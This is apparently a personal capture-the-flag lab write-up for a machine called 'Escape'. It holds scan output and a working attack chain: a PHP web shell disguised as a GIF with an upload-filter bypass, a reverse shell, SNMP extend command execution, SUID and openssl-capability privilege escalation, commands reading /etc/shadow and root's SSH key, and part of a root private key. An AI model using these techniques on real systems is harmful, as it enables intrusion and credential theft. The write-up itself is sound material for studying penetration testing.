Escape
Escape
@ http://192.168.65.113/
● No robots.txt
$ nikto -h 192.168.65.113
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.65.113
+ Target Hostname: 192.168.65.113
+ Target Port: 80
+ Start Time: 2020-11-17 16:00:20 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render
the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size:
5b370ac710db3, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache
2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7917 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2020-11-17 16:19:18 (GMT-5) (1138 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.38 (Debian)
| - X-Powered-By: PHP/7.4.12
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.140.113:8080/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] http://192.168.140.113:8080/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] atom
| Location: http://192.168.140.113:8080/wp-content/themes/atom/
| Style URL: http://192.168.140.113:8080/wp-content/themes/atom/style.css
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.140.113:8080/wp-content/themes/atom/, status: 200
|
| The version could not be determined.
[+] twentynineteen
| Location: http://192.168.140.113:8080/wp-content/themes/twentynineteen/
| Latest Version: 1.7 (up to date)
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://192.168.140.113:8080/wp-content/themes/twentynineteen/readme.txt
| Style URL: http://192.168.140.113:8080/wp-content/themes/twentynineteen/style.css
| Style Name: Twenty Nineteen
| Style URI: https://wordpress.org/themes/twentynineteen/
| Description: Our 2019 default theme is designed to show off the power of the block
editor. It features custom sty...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.140.113:8080/wp-content/themes/twentynineteen/, status: 500
|
| Version: 1.7 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.140.113:8080/wp-content/themes/twentynineteen/style.css, Match:
'Version: 1.7'
[+] twentyseventeen
| Location: http://192.168.140.113:8080/wp-content/themes/twentyseventeen/
| Latest Version: 2.4 (up to date)
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://192.168.140.113:8080/wp-content/themes/twentyseventeen/readme.txt
| Style URL: http://192.168.140.113:8080/wp-content/themes/twentyseventeen/style.css
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive
featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.140.113:8080/wp-content/themes/twentyseventeen/, status: 500
|
| Version: 2.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.140.113:8080/wp-content/themes/twentyseventeen/style.css, Match:
'Version: 2.4'
[+] twentytwenty
| Location: http://192.168.140.113:8080/wp-content/themes/twentytwenty/
| Latest Version: 1.5 (up to date)
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://192.168.140.113:8080/wp-content/themes/twentytwenty/readme.txt
| Style URL: http://192.168.140.113:8080/wp-content/themes/twentytwenty/style.css
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the
flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Known Locations (Aggressive Detection)
| - http://192.168.140.113:8080/wp-content/themes/twentytwenty/, status: 500
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.140.113:8080/wp-content/themes/twentytwenty/style.css, Match:
'Version: 1.5'
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be
set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:05 <==========================> (100
/ 100) 100.00% Time: 00:00:05
[+] admin
| Found By: Wp Json Api (Aggressive Detection)
| - http://192.168.140.113:8080/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
@ http://192.168.65.113:8080/dev/
$ cat cmd.gif
GIF89a
<?php system($_GET['cmd']); ?>
// Upload “cmd.php.gif”, use Burp to capture the request, then change the filename to
“cmd.php” and Send the modified request
-> Successfully upload file “cmd.php”
// Cannot run command to get the reverse shell on the webpage even via Burp. So we
upload the php-reverse-shell.php like above, and get the shell.
// Trigger http://192.168.149.113:8080/dev/uploads/php-reverse-shell.php
Local.txt: 166906be7b3f61c4495708cac61efc52
/var/backups/.snmpd.conf
-> Found a word that looks like a password 53cur3M0NiT0riNg
// Interesting script: /usr/local/bin/docker-entrypoint.sh ???
// Cannot find mysql to access the wordpress database ???
$ cat /var/backups/.snmpd.conf
########################################################################
#######
#
# EXAMPLE.conf:
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See the 'snmpd.conf(5)' man page for details
#
# Some entries are deliberately commented out, and will need to be explicitly activated
#
########################################################################
#######
#
# AGENT BEHAVIOUR
#
########################################################################
#######
#
# SNMPv3 AUTHENTICATION
#
# Note that these particular settings don't actually belong here.
# They should be copied to the file /var/lib/snmp/snmpd.conf
# and the passwords changed, before being uncommented in that file *only*.
# Then restart the agent
rocommunity 53cur3M0NiT0riNg
# Full access from an example network
# Adjust this network address to match your local
# settings, change the community string,
# and check the 'agentAddress' setting above
#rocommunity secret 10.0.0.0/16
########################################################################
#######
#
# SYSTEM INFORMATION
#
# Note that setting these values here, results in the corresponding MIB objects being
'read-only'
# See snmpd.conf(5) for more details
sysLocation Sitting on the Dock of the Bay
sysContact Me <me@example.org>
# Application + End-to-End layers
sysServices 72
#
# Process Monitoring
#
# At least one 'mountd' process
proc mountd
# No more than 4 'ntalkd' processes - 0 is OK
proc ntalkd 4
# At least one 'sendmail' process, but no more than 10
proc sendmail 10 1
#
# Disk Monitoring
#
# 10MBs required on root disk, 5% free on /var, 10% free on all other
disks
disk / 10000
disk /var 5%
includeAllDisks 10%
#
# System Load
#
# Unacceptable 1-, 5-, and 15-minute load averages
load 12 10 5
########################################################################
#######
#
# ACTIVE MONITORING
#
# Note that you typically only want *one* of these three lines
# Uncommenting two (or all three) will result in multiple copies of each notification.
#
# Event MIB - automatically generate alerts
#
# Remember to activate the 'createUser' lines above
iquerySecName internalUser
rouser internalUser
# generate traps on UCD error conditions
defaultMonitors yes
# generate traps on linkUp/Down
linkUpDownNotifications yes
########################################################################
#######
#
# EXTENDING THE AGENT
#
#
# Arbitrary extension commands
#
extend test1 /bin/echo Hello, world!
extend-sh test2 echo Hello, world! ; echo Hi there ; exit 35
extend-sh test3 /bin/sh /tmp/shtest
# Note that this last entry requires the script '/tmp/shtest' to be created first,
# containing the same three shell commands, before the line is uncommented
# Note that the "extend" directive supercedes the previous "exec" and "sh" directives
# However, walking the UCD-SNMP-MIB::extTable should still returns the same output,
# as well as the fuller results in the above tables.
#
# "Pass-through" MIB extension command
#
#pass .1.3.6.1.4.1.8072.2.255 /bin/sh PREFIX/local/passtest
#pass .1.3.6.1.4.1.8072.2.255 /usr/bin/perl PREFIX/local/passtest.pl
# Note that this requires one of the two 'passtest' scripts to be installed first,
# before the appropriate line is uncommented.
# These scripts can be found in the 'local' directory of the source distribution,
# and are not installed automatically.
Read more:
● https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888
e
● http://www.net-snmp.org/docs/man/snmpd.conf.html#lbAJ
● https://digi.ninja/blog/snmp_to_shell.php
● http://net-snmp.sourceforge.net/wiki/index.php/Tut:Extending_snmpd_using_shell_
scripts
● https://book.hacktricks.xyz/pentesting/pentesting-snmp
SNMP: Simple Network Management Protocol which is a protocol to monitor and manage
network devices like modems, routers, servers, printers, IP cameras, UPS devices and
even power strips.
Access controls
There are two configuration directives, usually in /etc/snmp/snmpd.conf, called
rocommunity and rwcommunity.
● rocommunity — specifies the read-only community string
● rwcommunity — specifies the read-write community string
The SNMP community string is essentially a plaintext password that allows access to a
device’s statistics and configuration. That’s why you really should consider them as
passwords — make them long, unpredictable and be aware of what service or whom you
give them to.
// Running this command from our Kali machine, we see some information as shown in the
config file
$ snmpwalk -v2c -c 53cur3M0NiT0riNg 192.168.243.113
-> Run for a while but still did not see STRING “Hello, world”
// Found another way to run commands and get their outputs through
NET_SNMP-EXTEND_MIB module
https://vincent.bernat.ch/en/blog/2012-extending-netsnmp
// Try to run it, get the errors
$ snmpwalk -v2c -c 53cur3M0NiT0riNg 192.168.243.113
NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
Local.txt: 95c4e16e3a9507a2cf96a5d9eb174da3
(the local.txt we found above is valid)
// Found SUID binary
Debian-snmp@escape:/tmp$ /usr/bin/logconsole
/$$ /$$
| $$ | $$
| $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$
| $$ /$$__ $$ /$$__ $$ /$$_____/ /$$__ $$| $$__ $$ /$$_____/ /$$__ $$| $$ /$$__ $$
| $$| $$ \ $$| $$ \ $$| $$ | $$ \ $$| $$ \ $$| $$$$$$ | $$ \ $$| $$| $$$$$$$$
| $$| $$ | $$| $$ | $$| $$ | $$ | $$| $$ | $$ \____ $$| $$ | $$| $$| $$_____/
| $$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$/| $$ | $$ /$$$$$$$/| $$$$$$/| $$| $$$$$$$
|__/ \______/ \____ $$ \_______/ \______/ |__/ |__/|_______/ \______/ |__/ \_______/
/$$ \ $$
| $$$$$$/
\______/
// /bin/ps aux
// /usr/bin/last
// /usr/bin/w
// Invalid Option!!!!
// Setup Python server to host logconsole binary on target machine, then download it to
our Kali machine to analyze
$ python3 -m http.server 80
$ strings logconsole
/lib64/ld-linux-x86-64.so.2
mgUa
fopen
__isoc99_scanf
setreuid
putchar
stdin
popen
printf
fgets
stdout
fputs
fclose
system
getuid
fwrite
geteuid
__cxa_finalize
setvbuf
__libc_start_main
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
/home/tom/logconsole.txt
*********************************************************************
/$$ /$$
| $$ | $$
| $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$ | $$ /$$$$$$
| $$ /$$__ $$ /$$__ $$ /$$_____/ /$$__ $$| $$__ $$ /$$_____/ /$$__ $$| $$ /$$__ $$
| $$| $$ \ $$| $$ \ $$| $$ | $$ \ $$| $$ \ $$| $$$$$$ | $$ \ $$| $$| $$$$$$$$
| $$| $$ | $$| $$ | $$| $$ | $$ | $$| $$ | $$ \____ $$| $$ | $$| $$| $$_____/
| $$| $$$$$$/| $$$$$$$| $$$$$$$| $$$$$$/| $$ | $$ /$$$$$$$/| $$$$$$/| $$| $$$$$$$
|__/ \______/ \____ $$ \_______/ \______/ |__/ |__/|_______/ \______/ |__/ \_______/
/$$ \ $$
| $$$$$$/
\______/
[1;31m
1. About the Sytem
2. Current Process Status
3. List all the Users Logged in and out
4. Quick summary of User Logged in
5. IP Routing Table
6. CPU Information
7. To Exit
99. Generate the Report
[01;33m
Enter the option ==>
/bin/uname -a
/bin/ps aux
/usr/bin/last
/usr/bin/w
/sbin/ip route | column -t
lscpu
Invalid Option!!!!!
Report is Ready!!!
;*3$"
GCC: (Debian 10.2.0-7) 10.2.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
syslog.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
putchar@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
stdout@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
fclose@@GLIBC_2.2.5
getuid@@GLIBC_2.2.5
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
fputs@@GLIBC_2.2.5
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
fgets@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
setreuid@@GLIBC_2.2.5
__bss_start
main
setvbuf@@GLIBC_2.2.5
get_output
popen@@GLIBC_2.2.5
fopen@@GLIBC_2.2.5
__isoc99_scanf@@GLIBC_2.7
fwrite@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
$ ldd /usr/bin/logconsole
ldd /usr/bin/logconsole
linux-vdso.so.1 (0x00007fffe0f6e000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd2e31c2000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd2e35b3000)
$ ls -la /usr/bin/logconsole
-rwsrwxr-x 1 tom tom 17440 Dec 9 14:16 /usr/bin/logconsole
// Copy this binary to my host Ubuntu (using base64) to use IdaPro 64 bit
// Run /usr/bin/logconsole and select option 6 to trigger our reverse shell -> we get the
new shell of user tom
// Generate SSH keypairs and add id_rsa.pub to /home/tom/.ssh/authorized_keys, so that
we can SSH to user tom without redoing every step and get a stable shell.
$ ssh-keygen
/usr/bin/mtr-packet = cap_net_raw+ep
/opt/cert/openssl =ep
Read more:
● https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities
● https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-open
ssl-with-selinux-enabled-and-enforced-74d2bec02099
● https://gtfobins.github.io/gtfobins/openssl/
tom@escape:/$ cd /tmp
tom@escape:/tmp$ /opt/cert/openssl req -x509 -newkey rsa:2048 -keyout key.pem
-out cert.pem -days 365 -nodes
Can't load /home/tom/.rnd into RNG
139891892191680:error:2406F079:random number generator:RAND_load_file:Cannot
open file:../crypto/rand/randfile.c:88:Filename=/home/tom/.rnd
Generating a RSA private key
.........................................+++++
....+++++
writing new private key to 'key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
// Just press Enter to skip values of Country Name, …, Email Address
-> Generate 2 files: cert.pem and key.pem
// SSH to tom’s shell on another terminal and read file using curl on localhost on port 1337
(we use -k to ignore ssl errors)
tom@escape:~$ curl -k "https://127.0.0.1:1337/etc/shadow"
tom@escape:~$ curl -k "https://127.0.0.1:1337/root/proof.txt"
tom@escape:~$ curl -k "https://127.0.0.1:1337/root/.ssh/id_rsa"
// File /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwwvvVIS3//uz+Mpg24l51p48akveZgI8bDQDun7y9BKhRDWg
GzIzCpt7NcVWVN2llo9KOL3c3EZZxGOaTbzpINZxS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